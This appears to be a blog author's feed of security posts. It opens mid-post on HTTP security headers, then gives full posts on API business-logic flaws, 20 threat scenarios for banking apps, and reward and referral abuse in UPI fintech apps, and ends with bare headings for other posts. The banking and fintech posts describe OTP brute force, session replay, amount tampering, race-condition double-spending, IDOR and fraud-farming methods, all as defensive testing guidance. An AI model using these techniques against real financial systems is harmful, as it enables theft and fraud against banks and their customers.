# Control who can embed your resources
Cross-Origin-Resource-Policy: same-origin

# Strip referrer on cross-origin navigation
Referrer-Policy: strict-origin-when-cross-origin

# Disable dangerous APIs for you and third parties
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self)

# Classic extras
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Testing Your Headers

Don't guess. Verify.

securityheaders.com — Grade your headers
CSP Evaluator — Find CSP weaknesses (by Google)
Firefox DevTools → Network → Headers — Inspect per-request
Burp Suite — Intercept and validate in a real attack simulation

The Mental Model: Defense in Depth

Think of these policies as concentric circles:

┌─────────────────────────────────────────────┐
│  Permissions Policy (API access control)    │
│  ┌───────────────────────────────────────┐  │
│  │  COOP + COEP (isolation boundary)     │  │
│  │  ┌─────────────────────────────────┐  │  │
│  │  │  CSP (execution control)        │  │  │
│  │  │  ┌───────────────────────────┐  │  │  │
│  │  │  │  CORS + CORP (data access)│  │  │  │
│  │  │  │  ┌─────────────────────┐  │  │  │  │
│  │  │  │  │  SOP (foundation)   │  │  │  │  │
│  │  │  │  └─────────────────────┘  │  │  │  │
│  │  │  └───────────────────────────┘  │  │  │
│  │  └─────────────────────────────────┘  │  │
│  └───────────────────────────────────────┘  │
└─────────────────────────────────────────────┘
         Sandbox (untrusted content)
         Referrer Policy (data leakage)

Each layer assumes the previous one has already failed. That's the attacker's mindset — and it's how you should build.

Final Thoughts

The browser security model isn't a checkbox. It's an evolving negotiation between functionality and security, and attackers are always reading the spec for the next gap.

The best security engineers I know treat these headers not as configuration, but as a threat model articulated in HTTP. Every missing header is a question you haven't answered: "What happens when the attacker gets here?"

Answer those questions before they do.

Found a misconfigured header in the wild? Responsible disclosure is the way. Build the web you'd want to use.

Business Logic Vulnerabilities in Modern APIs: The Security Flaws Firewalls Can't Stop

Arashad Dodhiya — Sun, 21 Jun 2026 16:00:11 +0000

Most API security discussions revolve around SQL injection, authentication bypasses, or remote code execution.

Those vulnerabilities are dangerous.

But some of the most expensive breaches in recent years happened because the application behaved exactly as developers intended.

That's the scary part.

The API wasn't hacked in the traditional sense. No malware. No exploit chain. No broken encryption.

The business logic itself was flawed.

An attacker simply used legitimate API functionality in a way the designers never anticipated.

And as organizations increasingly rely on REST APIs, mobile backends, and microservice architectures, these vulnerabilities are becoming more common—and harder to detect.

Let's break down what business logic vulnerabilities are, why modern APIs are especially vulnerable, and how engineering teams can defend against them.

What Is a Business Logic Vulnerability?

A business logic vulnerability occurs when an application allows users to perform actions that violate the intended business rules.

Unlike traditional security flaws, the code may function perfectly.

The problem is that the workflow itself is insecure.

Think about a banking application.

The API correctly transfers money.

Authentication works.

Authorization works.

Input validation works.

Yet a user discovers they can transfer funds before account verification is completed.

No technical security control failed.

The business process failed.

That's a business logic vulnerability.

Business logic vulnerabilities exploit how a system works—not how it breaks.

Why Traditional Security Tools Often Miss Them

Most security scanners look for technical weaknesses:

SQL Injection
XSS
Command Injection
SSRF
Authentication flaws
Misconfigurations

Business logic issues are different.

The API request is usually valid.

The user is authenticated.

The server responds normally.

Nothing appears suspicious from a technical perspective.

Imagine a coupon API that allows unlimited coupon stacking.

Every request is legitimate.

Yet an attacker can reduce a $500 purchase to $1.

A vulnerability scanner may report a perfectly secure application.

Meanwhile, the business loses money.

This is why business logic testing requires human understanding of how the application should behave.

REST APIs and Business Logic Risks

REST APIs power most modern applications.

They're clean, scalable, and easy to integrate.

They're also a common source of business logic flaws.

Consider an e-commerce API:

POST /cart/add-item
POST /cart/apply-discount
POST /checkout

Each endpoint may be secure individually.

But what happens when a user:

Applies a discount
Modifies the cart afterward
Keeps the original discount value

If developers only validated discounts during application rather than checkout, users might obtain unauthorized price reductions.

The API works exactly as coded.

The workflow doesn't.

This is a classic business logic failure.

Mobile APIs Introduce New Trust Problems

Many developers assume mobile applications control user behavior.

That's a dangerous assumption.

Attackers don't interact with your API through the official mobile app.

They interact directly with the backend.

A mobile application may disable certain buttons or enforce restrictions in the user interface.

But the API is what ultimately matters.

Imagine a ride-sharing application.

The mobile app prevents applying a promotional code twice.

However, the backend API never validates usage limits.

An attacker can send requests directly to the API and reuse the promotion repeatedly.

The UI restriction becomes meaningless.

Here's the rule every API developer should remember:

Never trust the client. Not even your own mobile application.

The mobile app is simply another user-controlled interface.

Business rules must always be enforced server-side.

Microservices Make Business Logic More Complex

Now let's make things more interesting.

Modern organizations rarely run a single application.

Instead, they deploy dozens—or even hundreds—of microservices.

A single purchase might involve:

User Service
Cart Service
Payment Service
Inventory Service
Loyalty Service
Notification Service

Each service performs its job correctly.

The risk appears at the boundaries.

Imagine this sequence:

User Places Order
        ↓
Inventory Reserved
        ↓
Payment Processing Delayed
        ↓
Reward Points Granted
        ↓
Payment Fails

The customer receives loyalty points before payment succeeds.

An attacker discovers they can intentionally trigger payment failures while repeatedly collecting rewards.

No individual service is vulnerable.

The workflow is.

And this is where business logic vulnerabilities thrive.

Understanding Trust Boundaries

One of the most overlooked concepts in API security is the trust boundary.

A trust boundary is a point where data moves between systems with different levels of trust.

Examples include:

Client → API Gateway

API Gateway → Internal Services

Microservice → Database

Third-Party Service → Application

Every boundary creates assumptions.

And assumptions create vulnerabilities.

For example:

Mobile App
     ↓
API Gateway
     ↓
Order Service
     ↓
Payment Service

If the Order Service assumes the API Gateway already validated pricing, while the Payment Service assumes the Order Service verified it, nobody actually validates the price.

An attacker only needs one bad assumption.

Business logic vulnerabilities often emerge when trust responsibilities are unclear.

Common Business Logic Vulnerabilities in APIs

Although every application is unique, certain patterns appear repeatedly.

1. Workflow Bypass

Skipping required steps.

Example:

Register
     ↓
Verify Email
     ↓
Access Premium Features

If users can directly access premium functionality without verification, the workflow can be bypassed.

2. State Manipulation

Changing the order of actions.

Example:

Checkout
     ↓
Payment
     ↓
Order Confirmation

What happens if confirmation can be triggered before payment?

Unexpected states often create vulnerabilities.

3. Race Conditions

Submitting multiple requests simultaneously.

Example:

Redeem Gift Card
Redeem Gift Card
Redeem Gift Card

If balance updates aren't synchronized properly, users may redeem the same value multiple times.

4. Excessive Trust in Client Data

Accepting sensitive values from users.

Examples include:

Product prices
Discount percentages
Reward balances
User roles

The server should calculate these values independently.

Never trust user-supplied business data.

5. Broken Authorization Logic

The user is authenticated.

But should they be allowed to perform the action?

Examples:

Viewing another user's invoices
Modifying another account's settings
Accessing another organization's resources

Authentication answers who are you?

Authorization answers what can you do?

Business logic flaws frequently appear in the second category.

Why Business Logic Vulnerabilities Are Increasing

Three major trends are driving growth.

More APIs

Organizations expose thousands of API endpoints.

More functionality means more workflow complexity.

Faster Development

Teams ship features rapidly.

Business rule reviews often receive less attention than technical security testing.

Distributed Architectures

Microservices increase the number of interactions between systems.

Each interaction introduces assumptions.

Each assumption creates risk.

The result?

More opportunities for logic failures.

How Security Teams Find These Issues

Automated scanners are helpful.

But they aren't enough.

Effective business logic testing involves:

Understanding application workflows
Mapping user journeys
Identifying trust assumptions
Testing unexpected action sequences
Reviewing authorization decisions
Evaluating state transitions

Instead of asking:

"Can I inject code?"

Security researchers ask:

"Can I abuse the intended functionality?"

That's usually where the most impactful findings emerge.

Defending Modern APIs Against Business Logic Attacks

The good news is that most business logic flaws are preventable.

Focus on these principles:

Validate Rules Server-Side

Never rely on mobile apps, browsers, or API consumers.

Enforce critical rules in backend services.

Define Trust Boundaries Clearly

Every service should know exactly what it is responsible for validating.

Avoid assumptions.

Threat Model Workflows

Don't just review endpoints.

Review entire business processes.

Ask:

What could be abused?
What could be repeated?
What could be reordered?
What should never happen?

Test Negative Scenarios

Most QA testing verifies expected behavior.

Security testing verifies unexpected behavior.

Both are necessary.

Monitor Business Events

Track unusual patterns:

Excessive refunds
Rapid coupon usage
Repeated reward redemptions
Suspicious workflow sequences

Attackers often leave business-level signals before technical indicators appear.

Final Thoughts

Business logic vulnerabilities are among the most dangerous API security issues because they don't look like traditional vulnerabilities.

The requests are valid.

The users are authenticated.

The systems behave normally.

Yet attackers can still manipulate workflows, abuse trust boundaries, and cause significant business impact.

As APIs continue to power mobile applications, SaaS platforms, and microservice ecosystems, understanding business logic security becomes just as important as understanding SQL injection or authentication controls.

Because in modern systems, the biggest security problem isn't always broken code.

Sometimes it's perfectly working code enforcing the wrong rules.

What do you think?

Have you ever encountered a business logic vulnerability during an API security review or bug bounty assessment? Share your experience and lessons learned in the comments.

20 Threat Scenarios Every Banking Application Should Test (Before Attackers Do)

Arashad Dodhiya — Sun, 21 Jun 2026 06:48:38 +0000

Every banking app I've ever worked on "worked" on the day it shipped. Login worked. Transfers worked. The balance updated correctly after every test case. QA signed off, the release notes went out, and everyone moved on to the next sprint.

And almost every one of those apps still had at least one issue that had nothing to do with whether a feature worked — and everything to do with whether it could be bent. That's the gap functional testing doesn't catch. A banking app can pass 100% of its regression suite and still let someone empty an account, fake a refund, or pull a stranger's statement just by changing a number in a request.

This is why threat-scenario testing matters more in banking than in almost any other category of software. You're not just protecting data — you're protecting money that moves in real time, often irreversibly. A missed XSS bug on a marketing site is embarrassing. A missed authorization check on a fund-transfer API is a regulatory incident.

Below are 20 scenarios I make sure get tested on every banking, NBFC, or payments app I touch — grouped the way they actually surface during an assessment, not in OWASP's order. If you're a developer, a QA engineer, or a security tester, treat this as a working checklist rather than a reading list.

Identity & Access: Where Most Real Damage Begins

1. Predictable or poorly rate-limited OTP

Most banking apps still lean on OTP as the backbone of authentication, and most OTP implementations have at least one soft spot: short length, long expiry windows, no lockout after repeated wrong attempts, or an OTP that stays valid even after a fresh one has been generated. Try it yourself — request an OTP, get it wrong ten times in a row, and see what happens. If nothing does, you've found your first real bug.

2. Session tokens that outlive the logout button

Tap "Logout," then replay the exact same token against an authenticated endpoint a minute later. A surprising number of apps still treat logout as a purely client-side event — the screen changes, but the server-side session is still very much alive. Pair this with a check on whether logging in from a new device actually kills sessions on the old one.

3. Privilege escalation between account roles

Joint accounts, sub-users on a merchant dashboard, family banking apps with a "guardian" and a "minor" profile — anywhere there's more than one role attached to a single account is worth probing. Log in as the lower-privilege user, then swap the account or user ID in an API call to one belonging to the higher-privilege role. If the backend trusts the ID in the request over the ID tied to the session token, you've got a problem.

4. Account-recovery flows that quietly bypass the front door

"Forgot password" and "forgot MPIN" flows get far less scrutiny than login itself, which is exactly why they're worth extra attention. Check whether recovery can be triggered with a SIM-swapped number, whether security questions are guessable, and — this one's easy to miss — whether resetting a password also forces re-registration of biometrics and device binding. If it doesn't, an attacker who takes over recovery has effectively taken over everything downstream too.

Transaction Integrity: The Money Has to Move Exactly Once, Exactly as Authorized

5. Client-side amount tampering

This is the oldest trick in the book and it still works more often than it should. Initiate a transfer, intercept the request after the app has already validated the amount on screen, and change the number before it hits the server. If the backend doesn't independently re-validate the amount against the user's actual limits and balance, the client-side check was theater.

6. Race conditions that enable double-spending

Fire two transfer or withdrawal requests against the same account balance at almost the exact same moment. If the backend reads the balance, processes both requests, and only then writes the updated balance, both can succeed even though only one should have. This is one of the highest-impact bugs you can find in a banking app, and it's also one of the easiest to overlook in a single-threaded test plan.

7. Negative amounts and decimal-precision abuse

Submit a transfer of -500 instead of 500, or try absurd decimal precision like 100.999999999. Some backends round in the attacker's favor, some misinterpret a negative number as a credit instead of rejecting it outright, and some simply crash in a way that leaves a transaction half-applied.

8. Currency conversion and rounding exploitation

Anywhere there's a forex conversion, a wallet-to-bank exchange, or a cashback calculation involving fractions of a rupee, there's a rounding rule. Run the same small transaction hundreds of times and check whether the rounding consistently favors the user. A loss of half a paisa per transaction sounds trivial until it's multiplied across a few hundred thousand accounts.

9. Replay attacks on transaction requests

Capture a completed, valid transaction request and resend it unchanged a few minutes later. Properly built systems reject this through nonces, timestamps, or idempotency keys. Plenty of systems don't, and a captured request becomes a repeatable transaction.

API & Communication: What Happens Between the App and the Server

10. Rate-limit bypass on OTP, PIN, or CVV verification

Brute-forcing a 4 or 6-digit PIN is entirely feasible if there's no lockout. Test whether throttling is tied to the account, the IP, or the device — and then test what happens when you simply change whichever one it's tied to. A counter that resets the moment you rotate your IP isn't really a counter.

11. SSL pinning bypass enabling interception

On a rooted device or emulator with a proxy tool and a pinning-bypass framework, check whether the app still happily talks to a server whose certificate it shouldn't trust. If sensitive payloads — OTPs, account numbers, auth tokens — are visible once pinning is defeated, that's a real interception risk for any user on a compromised device or hostile network.

12. Excessive data exposure in API responses

The endpoint that powers a clean two-line account summary on screen often returns far more than two lines under the hood. Inspect the raw response and look for full account numbers, PAN, linked-card details, or other fields the UI quietly discards. If the data left the server, it's exposed — regardless of what the screen shows.

13. IDOR on account, transaction, or statement identifiers

While authenticated as yourself, substitute another user's account ID, transaction ID, or statement reference into an API call. This is one of the most consistently found issues across banking apps, and one of the most damaging, because it's a direct path to someone else's financial data with no exploit chain required — just a changed number.

14. Webhook and callback spoofing

If your app relies on a payment gateway calling back to confirm success, ask what stops anyone from sending that exact callback directly, without ever touching the gateway. Signature verification on incoming webhooks is non-negotiable here; without it, "payment successful" becomes whatever an attacker says it is.

Mobile & Device: The App Doesn't Control the Device It Runs On

15. Root, jailbreak, and emulator detection bypass

Most apps check for root or jailbreak and then refuse to run, or run in a restricted mode. Most of those checks can be defeated with common, freely available tooling. The real test isn't whether detection exists — it's whether sensitive flows like fund transfer or beneficiary addition still function once detection is bypassed.

16. Insecure local storage of sensitive data

Pull the app's data directory or take a backup, then look through the local database and shared preferences for anything that shouldn't be sitting there in plaintext — auth tokens, account numbers, cached statements. Also check the app switcher: does the app blur its screen when backgrounded, or does it leave the last balance check sitting in plain view in the recent-apps tray?

17. Biometric authentication that's only skin-deep

Test whether the biometric check is enforced server-side or whether it's purely a local "true/false" gate that a modified client could simply answer "true" to. Also check the PIN fallback — it needs the same lockout and rate-limiting protections as biometrics, otherwise it's the easier door right next to the harder one.

Business Logic & Data Hygiene: The Bugs That Don't Show Up in Any Scanner

18. Beneficiary addition without proportionate friction

Adding a new beneficiary is one of the highest-risk actions in a banking app, because it's the first step toward moving money to an account that was never trusted before. Check whether it requires step-up authentication, whether there's a cooling-off period before large transfers to a newly added beneficiary are allowed, and whether the API enforces that limit independently of whatever the UI shows.

19. Loan and credit-limit calculation logic abuse

Income, employment status, and existing obligations typically feed into an eligibility or credit-limit calculation. Try tampering with these fields after the initial client-side check has already run, and test boundary values — an income or age figure sitting exactly on a threshold — to see whether the backend recalculates independently or simply trusts what it's handed.

20. Sensitive data leaking through logs and crash reports

Deliberately trigger a crash mid-transaction and then check what lands in the crash reporting tool. Full request and response bodies, OTPs, and account numbers showing up in a third-party crash analytics dashboard is far more common than most teams realize — and it's a finding that rarely comes up until someone actually goes looking.

Why This List Matters More Than a Clean Scan Report

A clean automated scan tells you the app probably isn't vulnerable to the issues a scanner knows how to look for. It tells you almost nothing about whether the logic of your banking app can be turned against itself — and that logic is exactly where most of the scenarios above live. None of them are exotic. None require zero-days. They require someone to sit down, think like both a tester and a fraudster, and actually try.

If you're building or testing a banking app, don't treat this as a one-time audit checklist. Build it into your test plans, revisit it every release, and add to it as your app grows new features — because every new feature is also a new place for an old assumption to quietly become a new vulnerability.

Why UPI and Fintech Apps Need Business Logic Testing (Not Just Security Testing)

Arashad Dodhiya — Sun, 21 Jun 2026 06:43:44 +0000

Most fintech breaches you read about involve a hacker, a vulnerability, and a headline. Most fintech losses I've actually seen up close involve none of those things. They involve someone who read the terms of a cashback offer more carefully than the product team did, found the one path through the workflow nobody had tested, and quietly walked away with money the system handed over willingly.

That's the part standard security testing misses. A penetration test asks: can someone break in? Business logic testing asks a more uncomfortable question: what happens if someone uses every feature exactly as designed, just not exactly as intended? In a country processing billions of UPI transactions a month, that second question matters just as much as the first — arguably more, because nobody needs a zero-day to abuse a referral program.

Here's where that gap shows up most often in Indian fintech apps.

Wallet Systems: Built for Speed, Tested for Function, Rarely Tested for Abuse

A digital wallet sits at the intersection of multiple money-in paths — UPI, card, net banking, cashback credits — and at least one money-out path. Every intersection like that is a place where timing and assumptions can quietly fall apart.

The classic version of this is a race condition: top up the wallet and spend from it in two near-simultaneous requests, and check whether the balance check happens before or after both transactions are committed. Done right, this should be impossible. Done wrong, a user can spend money that, technically, hadn't arrived yet — or spend the same balance twice.

There's a quieter version of the same problem around refunds. If a refund is credited back to the wallet on a different timeline than the original debit was finalized, there's often a window where the balance briefly shows more than it should, and a fast enough user can act inside that window before reconciliation catches up.

And then there's KYC tiering. Minimum-KYC wallets in India are deliberately capped at lower balance and transaction limits precisely because they require less identity verification. The abuse case writes itself: instead of one wallet pushing past its limit, several min-KYC wallets tied to the same person, device, or document quietly add up to far more than any single one was meant to allow. Testing this means asking not "does one wallet respect its limit," but "does the system know when the same person is operating five of them."

Cashback Abuse: When the Reward Engine Doesn't Talk to the Fraud Engine

Cashback and reward systems are usually built by a growth or marketing team, run on a separate set of rules from the core transaction engine, and tested almost entirely for whether the discount applies correctly. Whether the discount can be farmed is a different question, and it's often nobody's job to ask it during the build.

A few patterns show up again and again. Self-referral loops, where the same person — sometimes through nothing more sophisticated than two phone numbers — refers themselves and collects both ends of a referral bonus. "Complete one transaction, get cashback" offers that get triggered by a transaction which is then reversed or charged back, while the cashback itself was never designed to be clawed back along with it. Coupon codes that were meant to be used once per user but turn out to be enforceable only at the UI layer, so a direct API call lets the same code stack indefinitely. And new-user welcome offers claimed repeatedly through device or SIM farming, because "new user" was defined by an account creation date rather than anything tied to the actual device or identity behind it.

The uncomfortable truth here is that almost none of this requires bypassing security controls. It requires understanding the reward rule better than the team that shipped it, and most reward rules are written to maximize conversion, not to survive someone reading them adversarially.

Referral Abuse: When Growth Metrics Become the Attack Surface

Referral programs are one of the cheapest ways to acquire users in a country where customer acquisition cost is a constant pressure on every fintech roadmap, which is exactly why they're targeted as hard as they are.

The simplest version is account farming — disposable SIMs, emulator farms, or low-cost device clusters generating accounts purely to trigger referral payouts, with no intention of ever becoming a real user. A more subtle version exploits sequencing: if the reward fires the moment a referred account signs up, rather than after it completes genuine KYC or a minimum transaction, the gap between "signed up" and "verified" becomes the exploit window. And almost all of it eventually routes back to a small number of real bank accounts or UPI IDs for cash-out, which is precisely the kind of pattern that's invisible if you're only testing one account at a time, and very visible the moment you test for clusters — shared device IDs, shared IPs, shared bank accounts behind dozens of "different" users.

This is also where business logic testing and fraud analytics genuinely overlap. Testing a referral program properly means asking the same questions a fraud team would ask after the fact, just before launch instead of after the losses show up in a dashboard.

Open Banking and Account Aggregator APIs: A Newer Surface, Tested Far Less

India's Account Aggregator framework, regulated by the RBI, lets a user consent to share financial data from a bank (the Financial Information Provider) with a fintech app (the Financial Information User) through a licensed aggregator sitting in between. It's a genuinely well-designed system on paper — consent-based, purpose-bound, time-limited. Whether it's implemented that way in any given app is a separate question, and it's one that gets tested far less often than it should, mostly because the framework is newer and most testing playbooks haven't caught up yet.

A few places this tends to break down. Consent scope creep, where an app technically asks for a narrow purpose — say, balance verification for a loan application — but the data actually pulled and stored includes the full transaction history that was never part of the consent artefact. Consent that's been revoked by the user but is still technically usable because the backend never actually checks expiry or revocation status before serving cached data. And data minimization failures, where an API built to answer "is the balance above X" instead returns the full account statement, because it was easier to build one endpoint than two.

There's also a quieter authentication question worth testing: in a multi-party consent ecosystem, what actually stops one registered FIU from making a request that looks like it's coming from another? The framework assumes every participant is who they claim to be and behaves accordingly. That assumption is worth testing directly rather than trusting by default.

Why None of This Shows Up in a Standard Pentest Report

A vulnerability scanner is built to find things with names — SQL injection, broken authentication, insecure deserialization, the kind of issue that maps cleanly to a CVE or an OWASP category. Almost everything above doesn't map cleanly to anything. There's no CVE for "the referral reward fires before KYC completes." There's no scanner signature for "five minimum-KYC wallets belonging to one person add up to more than the limit was supposed to allow."

That's precisely why it gets missed so often. It doesn't fail a security test, because it was never a security bug in the traditional sense — it's a business rule that nobody adversarially tested. Catching it means building a parallel test track alongside your functional and security testing: one written by people who sit down with the product spec and ask, deliberately and a little uncharitably, "how would I personally try to get more out of this than I'm supposed to?"

At UPI's transaction volumes, even a fraction-of-a-percent abuse rate stops being a rounding error and starts being a real number on a balance sheet. Treating business logic testing as a genuine, ongoing discipline — not a one-time review before launch — is the difference between finding that number internally, on your own terms, or finding it later, in a fraud report you didn't see coming.

DEV Community: Arashad Dodhiya

One Click, Fifteen Systems: The Secret Journey of Your HTTP Request

The Route, at a Glance

Stop 1: Before You Even Leave the Browser

Stop 2: DNS — The Internet's Phone Book, and Its First Leak

Stop 3: The CDN — Your Request Doesn't Actually Go to the Company Yet

Stop 4: The Web Application Firewall — The Bouncer Who Reads Every Line

Stop 5: The Load Balancer — Because One Server Was Never Going to Cut It

Stop 6: The API Gateway — Where Developers Start Paying Attention

Stop 7: The Identity Provider — Proving You Are Who You Say You Are

Stop 8 & 9: The Reverse Proxy and the Ingress — The Traffic Cops Nobody Notices

Stop 10: The Service Mesh — The Layer Most Articles Never Get To

Stop 11: The Microservices — Finally, Somebody Does the Actual Work

Stop 12: Redis — The Shortcut Most Requests Never Need to Skip

Stop 13: The Database — Journey's End

The Whole Trip, One More Time

What This All Actually Means

What Is Project Glasswing, Really? Inside Anthropic's Big Bet on AI-Powered Cyber Defense

First, the name

The setup: what actually happened

Who's actually in the room

The money: is $100M actually a lot?

What Mythos is actually finding

The uncomfortable math: patch velocity vs. discovery velocity

The real question: does restricted release actually work as a safety strategy?

So, is Glasswing the real deal?

The AI Can Find Your Bug. It Just Doesn't Know It's a Bug.

The Debate Everyone's Having Wrong

Where the Machine Genuinely Wins

Where It Falls Apart

The Uncomfortable Truth About Curiosity

So What Does Good Actually Look Like Right Now?

The Comparison Nobody Likes, But It's Right

Autonomous Cyberattacks Are Coming And Our Defenses Were Built for a Different Era

Let's Separate Automation From Autonomy

What an Autonomous Attack Actually Looks Like

Scale Is the Thing People Are Underestimating

The Unreliability Argument Is a Moving Target

Defenders Are Building This Too

The Assumption Problem

What to Actually Do About This

A Better Question

When Your Attacker Uses the Same AI as Your Defender

The "Defenders Finally Win" Narrative Was Always Wrong

What Attackers Are Actually Using AI For

What Defenders Are Doing With the Same Technology

The Uncomfortable Part

Where I Think This Actually Goes

The Mistake That Will Cost Organizations the Most

Where This Leaves Us

Cache Poisoning at the Edge: How Cloudflare Workers & Vercel Edge Functions Break Everything You Thought You Knew

First: Why Edge Runtimes Are Architecturally Different

Attack Surface #1: Worker-Injected Headers Becoming Unkeyed Cache Inputs

Attack Surface #2: The cache.put() API Is a Direct Poisoning Primitive

Attack Surface #3: Vercel Edge Middleware and the Header Forwarding Gap

Attack Surface #4: Stale-While-Revalidate Race Conditions at the Edge

Attack Surface #5: Multi-Region Edge Cache Incoherence

Practical Recon: How to Hunt This

Step 1: Identify the Edge Runtime

Step 2: Map the Request Mutation Surface

Step 3: Identify What's Keyed vs Unkeyed

Step 4: Test Cache API Keying

Step 5: Verify with Timing

Real-World Impact

Defenses

Wrapping Up

Client-Side Attack Surface: Everything Inside the Browser Is a Weapon(part-2)

The Map

1. URL — The First Line of Injection

Attack Vectors

Defense

2. DOM — The Battlefield

The Sink Problem

The Flow

Mutation XSS (mXSS)

Defense

3. JavaScript — The Attacker's Native Runtime

Supply Chain Attacks

Prototype Pollution

Defense

Attack Surface #2: The `cache.put()` API Is a Direct Poisoning Primitive